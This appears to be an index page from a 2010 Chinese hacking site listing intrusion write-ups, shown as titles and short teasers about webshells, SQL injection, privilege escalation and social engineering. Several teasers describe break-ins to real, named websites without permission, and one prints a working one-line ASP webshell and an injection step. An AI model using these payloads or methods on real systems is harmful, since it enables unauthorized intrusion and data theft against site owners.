|
 |
The Operation Outbreak Attack
|
| |
日期：2010-12-27 10:56:22
点击：219 评论：0
|
| |=--------------------------------------------------------------------=| |=----------------=[ The Operation OutBreak Attack ]=-----------------=| |=--------------------------=[ 26 Dec 2010 ]=-------------------------=| |=----------------------=[ By |
|
|
另类网站入侵之一句话木马图片的妙用
|
| |
日期：2010-12-24 12:12:58
点击：17718 评论：4
|
| 这篇文章有点标题党了，一句话木马大家都不陌生，我想很多菜菜都体验过他的强大之处吧。提起一句话我们不由得想起了laker大侠� ？梢运祃aker大侠的一句话木马真是为我们广大脚本入侵者带来不少的方便。 今天我要讲述的这个入侵过程就和一句话木马密不可分，说到这大家 |
|
|
时间和状态：利用漏洞改变游戏角色状态
|
| |
日期：2010-12-22 09:57:35
点击：95 评论：0
|
| 前言 ~~~~~~~~ 在此文章中，我将概述利用游戏引擎中的状态机来改变玩家角色的行为。这类漏洞之所以很有意思，主要是因为它还是一种对未来的预兆。时间和同步问题已经成为一个主要问题，但是随着分布式系统和主线程语言变得越来越普遍，同步和状态追踪的问题只会随之变 |
|
|
暴力破解asp一句话[php版]
|
| |
日期：2010-12-20 10:33:56
点击：192 评论：0
|
| 看到这里， http://www.t00ls.net/viewthread.php?tid=13764extra=page=1 就写了个php的， 说明：不是用获取页面内容，再判断关键字的方法。那样在一个大量数据的网页可能会很慢。 这里用的是判断http头的Content-Length的方法，如果密码匹配成功，则response.write就 |
|
|
GRE数据包注入攻击
|
| |
日期：2010-12-20 10:27:21
点击：694 评论：0
|
| GRE协议是构建一个通道穿过公共因特网，使得基于无法公开路由的协议的非IP流量可以到达它们的目的地。 为了针对内部网络上的主机执行攻击，你需要知道提供GRE隧道的2个终端的外部IP以及你要攻击的主机的内部IP。这可以通过多种方式实现，如利用Google算子搜索、路由列 |
|
|
oracle低权限下获取shell
|
| |
日期：2010-12-20 10:26:14
点击：114 评论：0
|
| 转载请标明:http://hi.baidu.com/hack_forensic 《关于oracle列目录的可行性测试》 经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj021320在文章ORACLE 建立数据文件WriteWebShell最后说,当然这个方法缺点就是你要知道WEB路径.少费话,直接贴code: create global t |
|
|
通过后台抓包备份拿webshell渗透实战
|
| |
日期：2010-12-13 09:56:59
点击：134 评论：0
|
| 在网上无聊搜索幼儿园，找到个网站。 http://www.xxxxxx.com/ 一看页面还不错，不过乱了点。 随便点进去一个链接， http://www.xxxxxx.com/view_new.asp?id=204cid=24 随便加个and 1=1和and 1=2 貌似都过滤了，全部返回正常页面。 去掉后面的cid=2 回车后再次检查and 1 |
|
|
渗透技巧总结
|
| |
日期：2010-12-13 09:54:19
点击：419 评论：0
|
| Form:http://www.80pentest.com/?p=887 旁站路径问题 1、读网站配置。 2、用以下VBS On Error Resume Next If (LCase(Right(WScript.Fullname,11))=wscript.exe) Then Msgbox Space(12) IIS Virtual Web Viewer Space(12) Chr(13) Space(9) Usage:Cscript vWeb.vbs,409 |
|
|
一次有意思的提权（G6FTP ）
|
| |
日期：2010-12-13 09:53:02
点击：119 评论：0
|
| 早在二个小时前，完成了这次有意思的提权，利用户是G6FTP。 前台拿Webshell就不说了，动易的后台，进去自定义页面编辑小马生成页面即可，重点是提权。 在服务器溜达无意中发现管理员使用的是G6FTP,打开RemoteAdmin目录的Remote.ini文件，可查到管理员 32位MD5加密的密 |
|
|
利用ewebeditor 5.5 - 6.0 鸡肋漏洞拿shell
|
| |
日期：2010-12-10 11:14:04
点击：4874 评论：2
|
| 首发：听雨安全 论坛 、 个人 博客 ： www.qianbi.tk 曾经在听雨看到过 一个 0day ewebeditor 5.5 - 6.0 鸡肋 漏洞 但是一直搞不明白为什么是鸡肋、 但是。、今天就是这个鸡肋帮我拿下了 shell 群里唐宋大牛 。 丢了一个后台、地址： http://www.htysmt.com/admin/ adm |
|
|
星外虚拟机系统(星外虚拟机提权"0day")
|
| |
日期：2010-12-10 11:10:30
点击：188 评论：0
|
| 星外虚拟机一直被认为很BT，其实我感觉还是很好搞，至少他支持aspx。找到有的执行目录一般99% 可以秒杀他 ，拿下服务器权限。 星外可执行的目录最新版本C:Documents and SettingsAll UsersApplication DataMicrosoftMedia Index 这个目录，还有就是C:PHPPEAR |
|
|
对搜狐、网易和TOM三大门户网站的漏洞检测（图文）
|
| |
日期：2010-12-09 12:25:25
点击：182 评论：0
|
| 笔者对搜狐及TOM和网易这三大门户网站作了注入攻击检测，发现同样存在明显的注入漏洞，安全性很糟糕。 1.MySQL注入检测搜狐门户网站 首先，来看看搜狐网站，搜狐网站上的动态网页大部分是采用PHP语言编写的，同样注入也很多。例如： http://app.sh.sohu.com/lo***l/s.p |
|
|
社会工程+老式提权艰难渗透某通信局（图文）
|
| |
日期：2010-12-06 10:24:59
点击：160 评论：1
|
| 昨天一上Q就接到一个任务，任务目的是对一个 通信局 网站做安全检测。因为检测的过程比较曲折，于是，我就决定把这个渗透的过程记录下来与大家分享！ 一打开网站，我发现站点的页面几乎全是静态的，如图1所示。 于是我就开始baidu hack了，在百度的搜索框中搜索site:gd |
|
|
艰难渗透源码出售站点（图文）
|
| |
日期：2010-12-06 10:23:46
点击：89 评论：0
|
| 最近想做几个垃圾站玩玩。可手上又没有啥好程序。郁闷。 那些网上免费的程序又没多少好玩意。 百度看看网上谁卖程序。方便的话,搞几个下来玩玩好了。 一:小碰头: 百度上找了一会, http://www.200ym.cn/ 看到这个站上有几个我喜欢的程序。 咋办?试试看吧。 当时一看这站 |
|
|
典型性社会工程学渗透实战(图文）
|
| |
日期：2010-12-06 10:22:36
点击：66 评论：0
|
| 某日在论坛上看到有人发贴寻求能写某程序的人，当时刚好没事干，看那人又是我们西安本地的，就联系他，说帮他开发那套程序，说白了就是偷代码。 首先看了一下他的网http://www.xxx.com（我以这个域名代替），是ASP+Access+雪孩BBS。一般我先从BBS入手，从网上找到了此 |
|
|
一次欺骗带来的血案--入侵实录
|
| |
日期：2010-12-02 11:04:39
点击：93 评论：0
|
| 话说很久不搞站了，这次是因为一个朋友被骗了 http://www.okdownload.cn 简单查了下 于是乎，操刀上阵了。简单看了下目标，新云的系统。漏洞都补光了，注册会员后还要联系站长开通，娘的，真恶心。俺也没新云 典型的虚拟主机。随便找了个玉米， 把扫出来的结果筛选了下 |
|
|
mssql数据库注入时exec xp_cmdshell 调用 'CreateProcess' 失败
|
| |
日期：2010-11-30 11:13:19
点击：129 评论：0
|
| 微软ms sql 2000/2005 注入时exec xp_cmdshell 调用 'CreateProcess' 失败，错误代码: '5'两种解决办法： ================================================ 原因不说了，一般都是cmd.exe被限制权限了，system用户没有权限。解决方法2种： 1。替换shift文件（在开启338 |
|
|
DB-OWNER权限日志备份专用一句话木马
|
| |
日期：2010-11-29 11:50:13
点击：77 评论：0
|
| %eval(request(a)):response.end% 备分专用一句话 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小. 日志备分WEBSHELL标准的七步: 1.InjectionURL';alter database XXX set RECOVERY FULL-- (把sql设 |
|
|
入侵成人用品购物网站
|
| |
日期：2010-11-24 10:45:17
点击：905 评论：0
|
| 很淫荡的一天，本想C段渗透目标，但是发现个成人用品网站太吸引我了，我就好奇的进去围观下。 哈哈 这图是不是很淫荡，接下来简单的看下网站没有什么CMS的字样，个人爱好先找后台，人品极好www.xxx.com/admin 就进入后台页面了，见证奇迹的时刻到了，无图无真相，看图 |
|
|
记星外主机提权的曲折过程
|
| |
日期：2010-11-23 11:49:24
点击：94 评论：0
|
| 今天朋友丢了个星外主站的SHELL过来 不知他是怎么搞的,权限都设置得都NB 什么组件都删光光了,只支持ASP 汗的是全部没写入和修改权限,都不知道那Y是怎么拿到SHELL的 不光是这样,他的马都有点问题,使用起来都不爽, 还好,在Global.asa 找到了数据库连接文件 ,不是SA 不过 |
|
|
 |
|
本月热点文章 |
|
|
| |
|
|
本月推荐文章 |
|
|
| |
|
|
相关分类 |
|
|
|
|
|
